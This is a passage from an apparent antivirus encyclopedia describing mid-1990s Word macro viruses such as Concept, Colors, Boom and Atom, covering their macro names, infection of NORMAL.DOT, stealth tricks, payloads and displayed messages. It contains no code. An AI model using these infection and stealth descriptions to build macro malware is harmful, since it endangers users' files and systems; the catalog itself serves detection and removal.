was not published until Concept was discovered, it helped
virus authors to use new techniques.

Joel McNamara also published an Excel macro virus,
which is non functional.

When an infected document is closed, DMV infects the
global template (NORMAL.DOT). Further documents
are infected when they are closed. They are also converted
internally to templates, which is very common for macro
viruses.

Upon infection, Demonstration displays the following
text strings on the screen:

" Counting global macros"
"AutoClose macro virus is already installed in
NORMAL.DOT."
"Infected NORMAL.DOT with a copy of AutoClose
macro virus. "
"AutoClose macro virus already present in this document."
"Saved current document as template."
"Infected current document with copy of AutoClose
macro virus."
" Macro virus has been spread. Now execute some other code
(good, bad, or indifferent)."


[WORD. Divina]
Virus Name: Divina
Alias Name: Roberta
Virus Type: Word macro virus
Virus Length: 2357 Bytes (1 Macro)
Symptoms: Beeps and pauses during display of messages
         Display of text windows
Place of origin: Italy
Description: This virus infects MS Word documents.

Devina was probably written by the author of the Date
macro virus, and is widespread in Malta, Spain and Italy.
Divina contains only one encrypted (Execute-Only)
macro with a size of 2357 Bytes.
"AutoClose"
Divina infects the global template (NORMAL.DOT) when
an infected document is opened and then closed. Furher
documents are infected when they are closed via the
"AutoClose" command.

Devina has two payloads. The first payload checks the
system time, and in case of a value of 17 in the minutes
field, it will display a set of windows. Between each
displayed box it will pause and beep.
The following boxes are displayed:

"ROBERTA TI AMO!"

"Virus 'ROBERTA' is running. Hard Disk damaged.
Start antivirus?"

"Exit from system and low level format are recommended."

"Exit from System?"

After the last message Divina tries to exit Windows.

The second payload is activated on 21st May. Divina will
again check the system clock, and if a document is being
closed between the 10th and 20th or between the 40th and
50th minute, it will display another 2 windows.

"DIVINA IS THE BEST!"
followed by another window with an Italian message.
Divina does not contain any destructive payloads. The
only problem with Divina is that it might panic users
into low level formating their hard drive.


[Word.Date]
Virus Name: Date
Alias Name: AntiDMV, Infezione
Virus Type: Word macro virus
Virus Length: 1042 Bytes (1 Macro)
Symptoms: Removal of AutoClose macro from documents
Place of origin: United States
Description: This virus infects MS Word documents.

Date was probably written by the author of the Divina
macro virus.  It contains only one encrypted
(Execute-Only) macro, with a size of 1042 Bytes.
"AutoOpen"
When an infected document is opened, Date infects the
global template (NORMAL.DOT). Further documents are
infected when they are opened.  Infection occurs only
until June 1st, 1996. By the time you read this document,
Date should not be a threat anymore even though infected
documents might still be around.

Date is also known under the name AntiDMV. This
name was chosen because it removes the "AutoClose"
macro from documents. The macro virus "DMV",
which has only one "AutoClose" macro, can therefore
be removed with the Date virus.


[WORD_CONCEPT-G]
Virus Name: Concept.G
Alias Name: Parasite, Parasite 0.8, P-Site
Virus Type: Word macro virus
Virus Length: 3670 Bytes (7 Macros) in .doc files
            3450 Bytes (7 Macros) in global templates
Symptoms: Display of Windows
          Modified documents
Place of origin: United States
Description: This virus infects MS Word documents.
Concept.G contains 7 encrypted (Execute-Only) macros
with a size of 3670 Bytes.
"K"
"A678"
"Para"
"Site"
"I8U9Y13"
"Paylaod"
"AutoOpen"

Concept.G is activated when an infected document is
opened (AutoOpen).  Upon activation, Concept.G
infects the global template (NORMAL.DOT).
Infectd documents are converted internally to templates,
which is very common for macro viruses.

Concept.G has various payloads. The first replaces the
following words in infected documents:
"and" with "not"
The second payload is a little bit more comprehensive.
Concept.G checks the system time for a specific value
in the days section. In case of a 16 (every 16th of the
month) it activates its payloads. It then replaces the
following letters/word in infected documents:
"." (dot) with "," (comma)
"and" with "not"
"a" with an "e"
According to the Concept.G virus code, it is a beta release.
Instead of version 1.0 (Concept.F) is it version 0.8.


[MSWORD_CONCEPT]
Virus Name: Concept
Alias Name: Prank, WW6Macro, WBMV, WW6Infector,
          Winword
Virus Type: Word macro virus
Virus Length: 1968 Bytes (4 Macros)
Symptoms: Display of a text window with "1" in it
Place of origin: United States
Description: This virus infects MS Word documents.

Concept was the first macro virus found "In-the-Wild".
It was discovered in July-August 1995 and is now the
most common virus. Macro viruses, such as Concept,
are not dependant on operating systems. They work
with Windows, Windows 95, Windows NT and Macintosh.

Word macro viruses only work as long as Microsoft
Word is active. However they can still do permanent
damage (for example delete important system files).

Concept.A contains 4 unencrypted macros with a size
of 1968 Bytes.

"AAAZAO"
"AAAZFS"
"AutoOpen"
"Payload"

Concept.A is activated when an infected document is
opened (AutoOpen).  Upon activation, Concept.A
checks for a previous infection of the global template
(NORMAL.DOT). It does this by looking for the
"Payload" and "FileSaveAs" macro.

If none of the macros are present, Concept.A copies
its virus macros to the global template by using the
"MacroCopy" command. The macro "AAAZFS" is saved
under the name "FileSaveAs".

An infected NORMAL.DOT file contains the
following macros:
"AAAZAO"
"AAAZFS"
"FileSaveAs"
"Payload"
After Infection of the global template, Concept.A makes
an entry in the WIN.INI file. It sets "WW6I=1" and
shows a text window with the number "1" in it.

Concept.A does not contain any destructive payload,
even though is has a macro with the name "Payload".
The "Payload" macro is empty except for the
following entry:

"That's enough to prove my point"

The following text can be found in the virus code,
yet is never displayed:

"Payload is just for fun"

Since Concept.A uses English macro names, it does
not work with foreign versions of Microsoft Word,
such as the German version.

Concept.A was accidently distributed on various
CD's (including a CD from Microsoft). This is one
of the reasons why Concept.A is currently the most
common virus.

(c) Stefan Kurtzhals


[WORD.Colors.B]
Virus Name: Colors.B
Alias Name: Colo-b, WM.Colors
Virus Type: Word macro virus
Virus Length: 7006 Bytes (9 Macros)
Symptoms:
Place of origin: Portugal
Description: This virus infects MS Word documents.

Colors.B is a complex macro virus including 9 encrypted
(Execute-Only) macros.
"AutoClose"
"AutoExec"
"AutoOpen"
"FileExit"
"FileNew"
"FileSave"
"FileSaveAs"
"macros"
"ToolsMacros"
Colors.B seems to be a version of the previous found
Colors.A virus.  All of the macros seem to be identical
to Colors.A, except for the "AutoOpen" macro, which
seems to come from Concept.A. It looks like a Colors.A
infected document was then infected with Concept, which
replaced the "AutoOpen" macro with its own.

Colors.B is still able to replicate, even though it has new
virus code from a different virus. Colors.B is the first
virus that combines virus code from 2 different viruses
(Colors.A and Concept.A).

Using the Tools/Macro command to look for the macros
from Colors.B is not recommended. The virus will
execute when trying to do so.  Instead, use the
File/Templates/Organizer/Macros command to detect
and delete the offending macros.


[WINWORD.COLORS]
Virus Name: Colors
Alias Name: Rainbow, Colo-a
Virus Type: Word macro virus
Virus Length: 6470 Bytes (9 Macros)
Symptoms: Change of colors of Windows objects
Place of origin: Portugal
Description: This virus infects MS Word documents.

Colors is a complex macro virus including 9
Execute-Only macros:
"AutoClose"
"AutoExec"
"AutoOpen"
"FileExit"
"FileNew"
"FileSave"
"FileSaveAs"
"macros"
"ToolsMacros"

Colors is the first macro virus that can still infect, even
when all the Auto-Macros are turned off. It also tries to
hide itself so the user can not use the "Tools/Macro"
command to look at the macro list and discover the virus.
The virus will even execute when people try to do so. Instead,
people should use File/Templates/Organizer/Macros
command to detect and delete the offending macros. Colors
even has a Debug-mode, in which macros are not saved as
Execute-Only (encrypted).

Upon the activation of one of the macros (all except for
AutoExec), Colors will try to infect the global template
(Normal.dot), whereby it turns off the prompting of
Microsoft Word before saving. Colors checks if all its
macros are already present in the global template
and if this is not the case, it transfers its macros or
replaces already existing ones.

Normal.dot becomes infected when a document is opened,
saved, closed or Microsoft Word is exited. Colors.A
infects documents when a file is created or saved (FileNew,
FileSave, FileSaveAs). Again Colors.A checks the Macro
list if the document is already infected.

The destructive payload, plus some other functions, are
located in the "macros" macro. The payload (a sub-routine
"objective") is activated upon the call of each macro,
except AutoExec. AutoExec, which is empty, was probably
defined to overwrite existing Anti-Virus macros.

Colors.A creates a variable in the [Windows] section of
WIN.INI with the name "countersu", which counts upwards
from zero. After each 300. call, the virus then changes the
color palette of 21 Windows desktop elements. Background,
buttons and borders will all have new randomly selected
colors which will leave the user with a sometimes unusual
looking desktop.
This effect will not work on Microsoft Word for Macintosh.

(c) Stefan Kurtzhals


[WINWORD.COLORS.D]
Virus Name: Colors.D
Alias Name: Colo-d, WM.Colors
Virus Type: Word macro virus
Virus Length: 19688 Bytes (9 Macros)
Symptoms: Display of error messages
Place of origin: Unknown
Description: This virus infects MS Word documents.

Colors.D is a macro virus including 9 encrypted
(Execute-Only) macros:
"AutoClose"
"AutoExec"
"AutoOpen"
"FileExit"
"FileNew"
"FileSave"
"FileSaveAs"
"macros"
"ToolsMacros"
Colors.D seems to be a combination of the previous found
Colors.A virus and the Microsoft macro virus solution
"Scanprot". It is not recommended using the Tools/Macro
command to look for the macros from Colors.B. The virus
will execute when trying to do so. Instead, use the
File/Templates/Organizer/Macros command to detect
and delete the offending macros.

Even though Colors.D has part of an Anti-Virus solution
is its code, it is still able to spread and infect the global
template (NORMAL.DOT) and new documents.

Colors.D displays the following error message:

"Unknown Command, Subroutine, or Function"


[WORD_CLOCK]
Virus Name: Clock
Alias Name: Clock:De, WM.Extra
Virus Type: Word macro virus
Virus Length: 3795 Bytes (11 Macros)
Symptoms: Display of windows
Place of origin: USA
Description: This virus infects MS Word documents.

Clock contains eleven encrypted (Execute-Only) macros
with a size of 3795 Bytes.
"Action"
"Oeffnen"
"AutoExec"
"AutoOpen"
"Speichern"
"Extrasmakro"
"DateiSchliessen"
"Datumunduhrzeit"
"Dateidokvorlagen"
"Dateiallesspeichern"
Clock uses macro stealth techniques to hide itself. It uses
"ExtrasMakro" ("ToolsMacro") and "DateiDokVorlagen"
("File Templates") to make recognition of an infected
document more difficult.

When an infected document is opened, Clock
infects the global template (NORMAL.DOT). To hide
the infection it turns off the prompting of Word before
saving a modified global template. Infected
documents are converted internally into templates,
which is very common for macro viruses.

When an infected document is opened after the
26th of each month, Clock will display a window
containing the time. It will also activate one of
its destructive payloads, which is to set the system
clock to a value of 33 in the seconds field. Clock
does this every 2 to 3 minutes, which results
in a less accurate system clock.

The second payload will start in 1997. Clock will
check the system clock, and in case of a minute
value smaller than 5, it will flip the "FileOpen"
and "FileSave" macros.

This effect will only happen on the following days
during the month:
1st
2nd
13th
21st
27th.
Since Clock uses German macro names, it will only
work with the German version of Microsoft Word.


[WORD.BueroNeu]
Virus Name: BueroNeu
Alias Name: Buero:De, BuroNeu, Bureau
Virus Type: Word macro virus
Virus Length: 697 Bytes (2 Macros)
Symptoms: Files deleted
          Files renamed
Place of origin: Germany
Description: This virus infects MS Word documents.

Buero contains two encrypted (Execute-Only) macros
with a size of 697 Bytes.

"AutoOpen"
"BueroNeu"

When an infected document is opened, Buero infects the
global template (NORMAL.DOT). The global template
includes the "DateiSpeichern"macro instead of
"AutOpen". Further documents are infected with the
"DateiSpeichern" ("FileSave") command. Infected documents
are converted internally into templates, which is very
common for macro viruses.

Upon infection Buero activates its destructive payloads.
After August 15th, 1996, Buero renames the system file
"IO.SYS" to "IIO.SYS". This action will leave the computer
unbootable. The second destructive payload searches for
C:\*.DOC files and deletes them.

Since Buero uses German macro names ("DateiSpeichern"),
it will only works with the German version of Microsoft Word.


[WORD.BOOM]
Virus Name: Boom
Alias Name: Boombastic, Boom:De
Virus Type: Word macro virus
Virus Length: 2863 Bytes (4 Macros)
Symptoms: Payload activates at 13:13:13 every 13th day
         after February 1996.
         Menu structure of Word is renamed and a new
         Normal.dot text template will be created and
         printed.
Place of origin: Germany
Description: This virus infects MS Word documents.
Boom is a macro virus with 4 encrypted (Execute-Only)
macros.
"AutoOpen"
"AutoExec"
"DateiSpeichernUnter"
"System"
Besides Xenixos, Boom is the second macro virus
written for the German version of Microsoft Word.Boom
varies from other known macro viruses and it is not
known to be a variant of another macro virus. Boom
works only with the German version of Microsoft
Word. Other versions will only permit Boom to infect
the global template (Normal.dot), not documents. This
limits the spread of Boom to German users of Word.

Inside the macro "AutoOpen" is the infection routine for
the global template (Normal.dot). Whenever an infected
document is opened, Normal.dot will get infected.
Boom does not use the common "KopiereMakro"
command, instead it uses "Organisiere.Kopiere".
Before transfering the macros, the FastSave option will
be enabled. In addition, Boom bypasses the prompting of
Word whenever a modified Normal.dot is saved.

The macro "AutoExec", (called on each start of
Microsoft Word), has a time checking mechanism
which will call the "System" macro whenever a time of
13:13:13 (every month on the 13th) is reached. The
"System" macro contains the destructive payload.
"AutoExec" will also be called from the virus macros
"AutoOpen" and "DateiSpeichernUnter" when a document
is opened and saved.

The destructive payload renames the menu structure
of Word:

Datei       ->    Mr.Boombastic
Bearbeiten  ->    and
Ansicht     ->    Sir WIXALOT
Einfuegen   ->    are
Format      ->    watching
Extras      ->    you
Tabelle     ->    !
Fenster     ->    !
Hilfe       ->    !

Between each renaming command the virus will include
pauses plus send a sound to the PC speaker. After the
menu names have been changed, Boom will create a new
global template (Normal.dot) and insert the following text:

"Greetings from Mr. Boombastic and Sir WIXALOT !!! "
"Oskar L., wir kriegen dich!!!"
"Dies ist eine Initiative des Institutes zur Vermeidung und
Verbreitung von " "Peinlichkeiten, durch in der
Oeffentlichkeit stehende Personen, unter der"
"Schirmherrschaft von Rudi S. !"

This text will be printed by Boom.

Boom also contains additional texts, such as:

"Mr. Boombastic and Sir WIXALOT !!!"

Additional destructive payloads have been modified by
"REM's" into comments and are therfore deactivated.

(c) Stefan Kurtzhals


[Word.Bandung]
Virus Name: Bandung
Alias Name: None
Virus Type: Word macro virus
Virus Length: 4262 Bytes (6 Macros)
Symptoms: Display of windows
          Creation of new files
Place of origin: Bandung, Indonesia
Description: This virus infects MS Word documents.
Bandung contains 6 macros with a size of 4262 Bytes.
"AutoExec"
"AutoOpen"
"FileSave"
"FileSaveAs"
"Toolsmacro"
"Toolscustomize"
When an infected document is opened, Bandung infects the
global template (NORMAL.DOT). Further documents are
infected with the "FileSave" and "FileSaveAs" command.
Infected documents are converted internally into templates,
which is very common for macro viruses.

Bandung also uses macro stealth techniques to hide itself.
It uses "ToolsMacro" to make recognition of an infected
document more difficult.

Upon infection Bandung activates its destructive payloads.

It creates the file C:\PESAN.TXT with following message:

"Anda rupanya sedang sial, semua file di mesin ini kecuali
yang berada  "
"di direktori WINDOWS dan WINWORD telah hilang,
jangan kaget, ini bukan " "ulah Anda, tapi ini hasil
pekerjaan saya...Barang siapa yang berhasil  "
"    menemukan cara menangkal virus ini, saya aka" +
"n memberi listing"
"virus ini untuk Anda !!! Dan tentu saja saya akan terus
datang kesini"
" untuk memberi Anda salam dengan virus-virus terbaru
dari saya...selamat ! "
" Bandung, Selasa,"

Following the message is the current Day, Month,
Year, Date and Time.

Example:           29 Agustus 1996, Jam: 18:09
Bandung also displays the following error messages:
"                           Fail on step 29296                              "
and
"No such macro or command"


[Word.Atom]
Virus Name: Atom
Alias Name: Atomic, WM.Atom
Virus Type: Word macro virus
Virus Length: 1029 Bytes (4 Macros)
Symptoms: Deletes files inside directories.
          Documents are password protected.
Place of origin: Ukraine
Description: This virus infects MS Word documents.

Atom.A has 4 encrypted (Execute-Only) macros with a
size of 1029 Bytes.
"Atom"
"AutoOpen"
"FileOpen"
"FileSaveAs"
Once an infected file is opened, the global template
(Normal.dot) becomes infected if the macro "Atom"
is not already included in the macro list.  Macros are
transfered with the MacroCopy command, and then
the destructive payload is called upon.

Atom.A infects documents in two ways, either when
opening (FileOpen) or saving (FileSaveAs) documents.
Since Atom.A does not turn prompting off when saving
the global template (Normal.dot), people will be
prompted to save changes to the global template
(Normal.dot) at the end of a session.  Infected documents
are internally converted into templates, which is very
common for macro viruses.

Upon calling the virus macro "FileSaveAs", Atom.A
checks the system clock for a value of 13 in the seconds
field. If this is the case then Atom.A adds the password
"ATOM#1" to the saved document.
The destructive payload inside the "Atom" macro was
supposed to be activated on December 13th only, yet
due to a programming error it is actived on the 13th of
each month. Atom.A deletes all the files inside the current
directory.

Atom.A does not work with Non-English versions of
Microsoft Word, since it uses English macro names.
(c) Stefan Kurtzhals


[WORD.ALLIANCE]
Virus Name: Alliance
Alias Name: Aliance
Virus Type: Word macro virus
Virus Length: 352 Bytes (1 Macro)
Symptoms: Text added to File/Properties section
Place of origin: USA
Description: This virus infects MS Word documents.

Aliance contains one macro with a size of 352 Bytes.
"AutoOpen"
Aliance was published on the Internet and is available
from various VX sites on the Internet. Therefore we
expect to see other variants of this virus.

Upon opening an infected document, Aliance will infect
the global template (NORMAL.DOT). Further documents
become infected when they are opened ("AutoOpen").
Infected documents are converted internally to templates,
which is very common for macro viruses.

Alliance will only infect on the following dates of the month:

2nd day of each month.
7th day of each month.
11th day of each month.
12th day of each month.

Infected documents will have the following comment in
the File/Properties section.
" You have been infected by the Alliance"